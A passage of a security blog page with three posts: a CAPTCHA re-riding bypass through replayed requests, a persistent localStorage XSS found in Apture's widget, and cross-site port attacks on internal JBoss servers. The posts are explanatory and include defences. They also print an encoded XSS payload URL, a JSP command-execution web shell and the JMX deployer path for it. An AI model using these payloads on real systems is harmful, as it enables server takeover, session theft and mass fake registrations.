 website creates an HTTP session, assigns it a SESSIONID and returns the
 register page to the user along with the SESSIONID cookie. The register
 page also contains one image tag which directs the browser to retrieve a
 CAPTCHA and display it on screen.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Upon parsing the image tag, the browser sends out request for the CAPTCHA. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">The server side code creates a new CAPTCHA with random text and CAPTCHA solution is stored in the HTTP session.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">5.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">CAPTCHA image is then sent to the client and is then displayed by the browser. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">6.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Browser sends CAPTCHA solution along with form fields for verification.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">7.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Server side code retrieves CAPTCHA solution from the HTTP Session and verifies it against the solution provided by the client.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">8.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">If
 verification is successful, client is sent to next logical step in the 
registration process. If not, client is redirected to the register page 
(step 1 above).</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif;"><span style="font-size: 15px; line-height: 22px;"><br />
</span></span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;"><br />
</span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaoWeISQKeHXtuN3nLW7bVRbuy0-HJkafO6a-pJ552rFhTofDIOvFAZoqK5fvaklCrL1HkZRQuwKVBvTB73ySClyUYsCGWrhlkv_WyaoBqAYopzTcGL-x9mdhxj7lwRA1qRLIsgi2TkK3/s1600/sample-captcha-implementation.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaoWeISQKeHXtuN3nLW7bVRbuy0-HJkafO6a-pJ552rFhTofDIOvFAZoqK5fvaklCrL1HkZRQuwKVBvTB73ySClyUYsCGWrhlkv_WyaoBqAYopzTcGL-x9mdhxj7lwRA1qRLIsgi2TkK3/s400/sample-captcha-implementation.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div class="MsoCaption">
<span style="font-size: xx-small;"><span style="font-family: Verdana, sans-serif;">Figure 1</span><span style="font-family: Verdana, sans-serif;">: Image shows an example Register page that supports CAPTCHA</span></span><span style="font-size: 11pt;"></span></div>
</td></tr>
</tbody></table>
<br />
Analysis of the CAPTCHA generation and verification process reveals the following:<br />
<div class="MsoNormal">
</div>
<div class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -.25in;">
</div>
<ol style="text-align: left;">
<li><span style="text-indent: -0.25in;">The captcha.php is the only page responsible for updating the HTTP session with correct CAPCHA solution. </span><span style="color: red; text-indent: -0.25in;">The first ingredient.</span></li>
<li>CAPTCHA solution inside the HTTP session is not explicitly cleared during the verification process. Yes, you guess it right. <span style="color: red;">This is</span> <span style="color: red;">the second and the most important ingredient for</span> <span style="color: red;">CAPTCHA Re-Riding Attacks.</span></li>
<li>When registration fails (for any reason), the web applications 
continue to use the same HTTP session and SESSIONID. We will not look 
into this further.</li>
<li>When registration succeeds, the user is redirected to next step and 
the CAPTCHA generation page (/captcha.php) is not likely to be called 
for current SESSION again.  This allows the CAPTCHA solution to stay in 
the HTTP store for as long as SESSION is valid. Following are the likely
 scenarios to be seen when CAPTCHA verification is successful.</li>
<ol>
<li>The web application generates a new SESSIONID for the same HTTP 
session for known security reasons. This implementation is most likely 
to be seen. <span style="color: red;">Combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack.</span></li>
<li>The web application continues to use the same SESSIONID for the same
 HTTP session.  Here we have more things to worry than just the CAPTCHA.
 <span style="color: red;">For now, combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack again.</span></li>
<li>The web application generates a completely new HTTP session with new
 or same SESSIONID. For CAPTCHA Re-riding Attack, this scenario is not 
exploitable.</li>
</ol>
</ol>
<br />
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
For scenarios 4.a and 4.b, the HTTP Session continues to hold the 
CAPTCHA solution as it is not explicitly cleared by the CAPTCHA 
verification code. Since /captcha.php is not going to be called again 
(and we will not let the call happen anyway), the same CAPTCHA solution 
continues to exist in HTTP session. Let us now see how <b>4.a</b> & <b>4.b</b> scenarios above can be exploited to make multiple successful submissions using a CAPTCHA solution.</div>
<br />
<br />
<div class="MsoNormal">
<b>Exploiting Scenario 4.b:</b></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Load the register page of the target website in a web browser.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Solve the CAPTCHA manually, and submit the form.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Record
 this form submission using a web proxy. This request contains a valid 
SESSIONID, valid form fields and a valid CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Create
 a custom script or use any tool like Burp intruder that can repeatedly 
send this request to server. With each request change the unique values 
(like User ID) to create multiple new accounts with a single CAPTCHA 
solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in;">
</div>
<div class="MsoNormal">
<b>Exploiting Scenario 4.a:</b></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Load the register page of the target website in a web browser.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Solve the CAPTCHA manually, and submit the form.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">To
 make things easy, trap this request in a web proxy and do not allow it 
to reach the web server. This request contains a valid SESSIONID, valid 
form fields and a valid CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Create a custom script or use any tool like Burp intruder that can repeatedly send this request to server. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">5.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Submit one request.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">6.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Upon
 successful submission, the web application will reset the current 
SESSIONID and send new SESSIONID back in response headers. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">7.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Change the value of SESSIONID in recorded request (step 3) to the value copied from response in Step 6 above.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">8.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Go to step 5.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 22px; text-indent: -0.25in;">9.     </span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%; text-indent: -0.25in;">We will be able to make multiple successful submissions with single CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif;"><span style="font-size: 15px; line-height: 17px;"><br />
</span></span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
</div>
<div class="WhitePaperBodycopy">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Using
 one time tokens along with CAPTCHAs on the register pages may still be 
exploitable with a few additional lines of attack code. The best defense
 is to reset CAPTCHA solution inside the HTTP session during the CAPTCHA
 verification stage. It is also important to note that when a website 
relies on third party CAPTCHA  provider it does not maintain any session
 information at its end and CAPTCHA is performed by the CAPTCHA provider
 and these websites are not vulnerable to CAPTCHA Re-Riding Attack.</span></div>
</div>

CAPTCHA Re-Riding Attack

CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the web applications. The attack exploits the fact that the code that...

How a Platform Using HTML5 Can Affect the Security of Your Website

<div dir="ltr" style="text-align: left;" trbidi="on">
<div id="head">
     <div>
 <h2>
How a Platform Using HTML5 Can Affect the Security of Your Website</h2>
</div>
</div>
<div class="post-header">

</div>
<div class="entry clear">
                <h3>
<span style="font-size: 120%; font-weight: bold;">tl;dr Abstract</span></h3>
<em>To improve performance, particularly for mobile users, many 
websites have started caching app logic on client devices via HTML5 
local storage. Unfortunately, this can make common injection 
vulnerabilities even more dangerous, as malicious code can invisibly 
persist in the cache. Real-world examples of this problem have now been 
discovered in third-party “widgets” embedded across many websites, 
creating security risks for the companies using such services – even if 
their sites are otherwise protected against attacks. Striking a balance 
between security and performance can be difficult, but certain 
precautions may help prevent an attacker from exploiting local storage 
caches.</em><br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Background</span></h3>
Throughout the history of web development, people have found ways to 
use and abuse various technologies beyond their intended purposes. 
Before CSS gained widespread support, many developers created complex 
layouts with HTML tables. Now that browsers provide far more 
presentation-layer tools, one can recreate complex images using only 
CSS. Such tricks can at times be very helpful in overcoming the limits 
of a browser-based environment, but they can also inadvertently create 
security issues.<br />

<span id="more-3159"></span>One feature commonly classified as part 
of HTML5 is local storage, a method for saving content on a visitor’s 
device that offers more space and flexibility than previous options 
(such as cookies). While intended as a client-side analogue to database 
storage, local storage has increasingly served another purpose: code 
caching. If a web app routinely requires large blocks of JavaScript, it 
can avoid downloading those chunks every time a visitor returns to the 
app by saving a copy of them in local storage. This can provide a 
significant performance boost, particularly on mobile devices, where 
bandwidth and typical caches can be much more limited.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Local Storage Attacks</span></h3>
However, this approach opens new possibilities for attacking the app.
 If the local storage can be compromised, an attacker could inject 
malicious code that persists in the client-side cache. This payload 
would then be executed by the web app each time a user opened the site –
 even if they’d previously closed the browser. In fact, eradicating such
 code can be quite difficult, and the victim website might not even be 
able to detect an ongoing attack. Artur Janc, a security engineer at 
Google, outlined these issues in <a href="http://events.ccc.de/congress/2011/Fahrplan/events/4811.en.html">a talk last December</a> (<a href="http://www.youtube.com/watch?v=ppFcSP2HWdE">video</a>)
 detailing many of the dangerous ramifications they present, but as Janc
 notes, such an attack was also previously described by <a href="http://www.cs.berkeley.edu/%7Edawnsong/papers/2010%20emperors%20new%20api.pdf">a paper from researchers at Berkeley</a> (PDF) in May 2010.<br />

Given the restrictions on access to a site’s local storage, modifying
 code saved there would nearly always require another vulnerability in 
the app as an initial attack vector. However, just one entry point for 
injecting code in a page would be enough to change the cache, and such 
problems tend to be quite common across the web. Many of these 
vulnerabilities (described as cross-site scripting, or XSS) are 
“reflected”, in that they only change a particular request for content, 
but using local storage automatically makes them capable of launching 
persistent attacks. Essentially, caching code in HTML5 local storage 
actually makes any existing cross-site scripting vulnerabities more 
dangerous.<br />

And as influential researcher Michal Zalewski also noted a few months before
 Janc’s presentation, “if content from the compromised origin is 
commonly embedded on third-party pages (think syndicated ‘like’ buttons 
or advertisements), with some luck, attacker’s JavaScript may become 
practically invincible”. In this age of mash-ups, data from a variety of
 sources are often mixed together, creating implicit trust relationships
 that may have significant effects on the security of an app. When a 
developer includes third-party JavaScript on his or her site, that code 
has the same capabilities as any other script on the page. Of course, 
modifying a static file on a remote server is generally not possible, 
even if cross-site scripting issues are present. But what if a 
third-party script from a site with XSS problems also stored code in 
local storage?<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Vulnerabilities in the Wild</span></h3>
As it turns out, this is no longer a hypothetical situation. Apture 
was a start-up that provided pop-up boxes for exploring content related 
to highlighted terms in a page. The service garnered praise from various
 tech media outlets, and the company was bought out by Google a few 
months ago. Just over a week ago, Google shut down the embedded search 
functionality, which was still in use by several sites after the 
acquisition. Apture is one example of a third-party “widget” service 
that used local storage code caching – and a page on the same domain as 
those scripts had a reflected XSS vulnerability which could be used to 
inject malicious code in the cache. This code would then be executed in 
the context of the site using Apture, meaning the problem with Apture’s 
service affected the security of many sites across the web.<br />

And while Apture’s widgets are now offline, another service still 
operating on high-profile sites was recently found to have a similar 
issue (though in this case, scripts were not executed from the original 
site’s origin). This problem has been reported and is currently being 
addressed by the service’s engineers.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Reducing Risk</span></h3>
Ultimately, there isn’t a simple way of avoiding this type of 
vulnerability while still getting the performance gains of client-side 
code caching. Another new HTML feature, application cache, is actually 
geared towards precisely this use case and would be harder to 
compromise, but it can create UI warnings in some browsers, such as 
Firefox. (Such warnings are a good practice, but may be unwanted for 
third-party widgets.) Ideally, any data in local storage should be 
treated as untrusted, even if it’s just content instead of code. But if 
local storage is used for scripts, it should be accessed from a domain 
that only serves static files. This will help reduce the likelihood of 
an XSS vulnerability that would have direct access to local storage, 
though the overall structure of an app should be taken into account to 
prevent indirect access as well. Newer browsers also support features 
such as sandboxed inline frames and Content Security Policy that could 
help limit the impact of embedded widgets if they became compromised.<br />

I think it’s important to note that many smart people, including 
those behind Apture, have used local storage for caching app logic – 
even Google and Bing use a similar technique on their mobile sites – and
 that in theory, this method should not make a website less secure. And 
for many web developers, it may not be immediately obvious why local 
storage data should not be trusted. This is another case where a clever 
trick that serves its primary goal very well has unintended consequences
 when considered in a broader context. It’s also an example of possibly 
making trade-offs which balance usability with risk. Understanding these
 conflicts and connections is part of what information security is all 
about – and what we do at Gemini
 every day. As browser features continue to expand and sites continue to
 integrate services from other domains, it’s likely we’ll see many more 
examples of security issues evolving in complexity – and organizations 
will need to adapt to such changes while still reducing risk.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Technical Details</span></h3>
For a site to use Apture widgets, the owner included a bit of JavaScript on their pages:<br />

<div>
<div class="syntaxhighlighter  js" id="highlighter_862252">
<div class="toolbar">
<span><a class="toolbar_item command_help help" href="http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website#">?</a></span></div>
<table border="0" cellpadding="0" cellspacing="0"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="js plain"><script id=</code><code class="js string">"aptureScript"</code><code class="js plain">></code></div>
<div class="line number2 index1 alt1">
<code class="js plain">(</code><code class="js keyword">function</code> <code class="js plain">(){</code><code class="js keyword">var</code> <code class="js plain">a=document.createElement(</code><code class="js string">"script"</code><code class="js plain">);a.defer=</code><code class="js string">"true"</code><code class="js plain">;</code></div>
<div class="line number3 index2 alt2">
<code class="js plain">a.src=</code><code class="js string">"<a href="http://www.apture.com/js/apture.js?siteToken=XXXXXXX">http://www.apture.com/js/apture.js?siteToken=XXXXXXX</a>"</code><code class="js plain">;</code></div>
<div class="line number4 index3 alt1">
<code class="js plain">document.getElementsByTagName(</code><code class="js string">"head"</code><code class="js plain">)[0].appendChild(a);})();</code></div>
<div class="line number5 index4 alt2">
<code class="js plain"></script></code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
This dynamically loaded an external script hosted on apture.com with a
 site token specified. The external script included various parameters, 
such as title, logo, and search URLs that are associated with the 
account identified by the token. This code then loaded another script 
based on the user’s browser which actually began setting up the 
framework for Apture to integrate with the site’s content.<br />

For browsers that support it, HTML5 cross-document messaging then 
came into play. The Apture script inserted an inline frame into the page
 that loaded a file from cdn.apture.com. A callback function allowed 
this iframe to pass messages back to the original window context where 
the script is running (the non-Apture site). This iframe then loaded the
 actual app logic and passed the code back to the original site via the 
cross-document messaging interface.<br />

At this point, you’re probably wondering why Apture didn’t simply 
load the app logic as another script in the original page; in fact, 
that’s precisely what Apture did if the browser didn’t support newer 
HTML5 features. But Apture’s iframe setup allowed them to take advantage
 of another HTML5 innovation that made their service load much faster. 
Web storage functionality provides the localStorage object, a place to 
save key/value data on the client which allows for more space and 
flexibility than cookies. This storage is persistent across browser 
sessions, but is specific to each domain and access to it is restricted 
by a same-origin policy.<br />

Apture used a localStorage object for cdn.apture.com not only to save
 data, such as an ID for tracking users, but to actually cache their app
 logic code. If the cdn.apture.com iframe detected that this cache 
already existed, it would simply load the code from localStorage rather 
than issue another HTTP request for the 272KB worth of JavaScript – 
saving time and bandwidth. Apture introduced this functionality in 
January 2011.<br />

But how does one load code from localStorage? For Apture, with this line in the cross-domain callback function:<br />

<div>
<div class="syntaxhighlighter  js" id="highlighter_155549">
<div class="toolbar">
<span><a class="toolbar_item command_help help" href="http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website#">?</a></span></div>
<table border="0" cellpadding="0" cellspacing="0"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="js plain">window.execScript ? window.execScript(f) : window.eval(f);</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
Seeing code such as this should immediately raise red flags in the 
mind of any web developer. Those familiar with browser security may have
 heard the adage that “eval is evil”, and it certainly applies here. The
 eval function (or the analogous execScript function also seen above) 
treats its input as valid JavaScript and simply executes it in the 
current window’s global context. If an attacker can send malicious code 
to the function, that code will also be executed – a class of 
vulnerabilities known as cross-site scripting (XSS).<br />

In Apture’s case, though, the code came from the cdn.apture.com 
storage, so one might assume it can be trusted – in theory, only pages 
from cdn.apture.com can modify the localStorage cache. But once again, 
the power of cross-site scripting demonstrates that many seemingly 
trustworthy data sources are still potential avenues of attack. The 
presence of any XSS on a cdn.apture.com page, including reflected XSS, 
would allow an attacker to execute code in that domain’s context and 
thus modify the localStorage object.<br />

As it turns out, Apture did have an exploitable XSS vulnerability. 
The cdn.apture.com domain actually mirrored www.apture.com, including a 
topic page that loaded a topic title from the URL path and a YouTube 
video ID from a GET parameter. Both of these values were included in the
 page without being escaped to prevent XSS. This example URL includes a 
script that appends “alert(document.cookie)” to the app logic in 
localStorage:<br />

<pre>http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28
window.x%21%3D1%29%7BlocalStorage%5B%27app-49971756%27%5D
%3DlocalStorage%5B%27app-49971756%27%5D%2b%22alert%28
document.cookie%29%3B%22%7Dwindow.x%3D1%3C%2fscript%3E</pre>
The window.x logic ensures that the code only executes once, since 
the parameter appears in the topic page multiple times. In an actual 
attack, more code would likely be needed, as the specific localStorage 
key includes a version number that could change depending on the user. 
This does not stop the attack, however, as the correct version can be 
loaded by the script before making changes to localStorage.<br />

Once this vulnerability is used to insert attack code into 
localStorage (e.g. if the above URL were loaded in an invisible iframe 
on an attacker’s site), visiting any site that had Apture’s widgets 
would cause the attack code to be loaded from the Apture iframe and 
executed in the context of the non-Apture site. And since this is 
essentially an example of DOM-based XSS (the code is loaded dynamically 
on the client side), requests sent to those sites’ servers would not 
include any XSS fingerprints, such as <script> in a GET or POST 
parameter. In summary, the localStorage code caching turned one 
reflected XSS vulnerability on Apture’s site into persistent, 
client-side XSS across all domains using their service.<br />

How a Platform Using HTML5 Can Affect the Security of Your Website

How a Platform Using HTML5 Can Affect the Security of Your Website tl;dr Abstract To improve performa...

Cross Site Port Attacks - XSPA - Part 3

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">In the 
last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are
 the different attacks that are possible via XSPA. This post is in 
continuation with the previous posts and is the last in the series of 
three. In this post we will see other interesting attacks and also see 
how developers can prevent XSPA or limit the attack surface itself.
<br /><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-1.html">Cross Site Port Attacks - XSPA - Part 1</a><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-2.html">Cross Site Port Attacks - XSPA - Part 2</a><br /><br />

</span><br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Attacking Internal Vulnerable Web Applications</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Most often than not, intranet applications lack even the most basic 
security allowing an attacker on the internal network to attack and 
access server resources including data and code. Being an intranet 
application, reaching it from the Internet requires VPN access to the 
internal network or specialized connectivity on the same lines. Using 
XSPA, however, an attacker can target vulnerable internal web 
applications via the Internet exposed web application.
<br /><br />
A very common example I can think of and which I have seen during 
numerous pentests is the presence of a JBoss Server vulnerable to a 
bunch of issues. My most favorite of them being the absence of 
authentication, by default, on the JMX console which runs on port 8080 
by default.</span><br />
<br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQXa89AqyxBleAHRewI58dvmWVw_INJRF2_wdPoINGfoXWrOoPQCRyTTI4yvY9g7aQg-2yDE7Y4VBAe7n2r30IPIAjo3OviPbz8dUNJ3FU1SNaxfNhVJegf9jVMklbqejMRFZTB8pZsOOZ/s1600/jmx_console.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQXa89AqyxBleAHRewI58dvmWVw_INJRF2_wdPoINGfoXWrOoPQCRyTTI4yvY9g7aQg-2yDE7Y4VBAe7n2r30IPIAjo3OviPbz8dUNJ3FU1SNaxfNhVJegf9jVMklbqejMRFZTB8pZsOOZ/s1600/jmx_console.png" width="520" /></a></div>
<br />
A well <a href="https://www.google.co.in/search?q=hacking%20jboss%20jmx-console">documented hack</a>
 using the JMX console, allows an attacker to deploy a war file 
containing JSP code that would allow command execution on the server. If
 an attacker has direct access to the JMX console, then deploying the 
war file containing the following JSP code is relatively 
straightforward:<br /><br />

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<%@ page import="java.util.*,java.io.*"%><br />
<pre><br /> 
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x")); <br />
DataInputStream dis = new DataInputStream(p.getInputStream());<br /> 
String disr = dis.readLine();<br />
while (  disr != null ) {<br /> 
out.println(disr);<br />
disr = dis.readLine();<br />
} %> <br />
</pre> <br />
</span>
</div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">Using 
the MainDeployer under jboss.system:service in the JMX Bean View we can 
deploy a war file containing a JSP shell. The MainDeployer can be found 
at the following address:
<br /></span>

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
</span>
</div>
<br />

<span style="font-family: "Trebuchet MS",sans-serif;">
Using the MainDeployer, for example, a war file named cmd.war containing
 a shell named shell.jsp can be deployed to the server and accessed via 
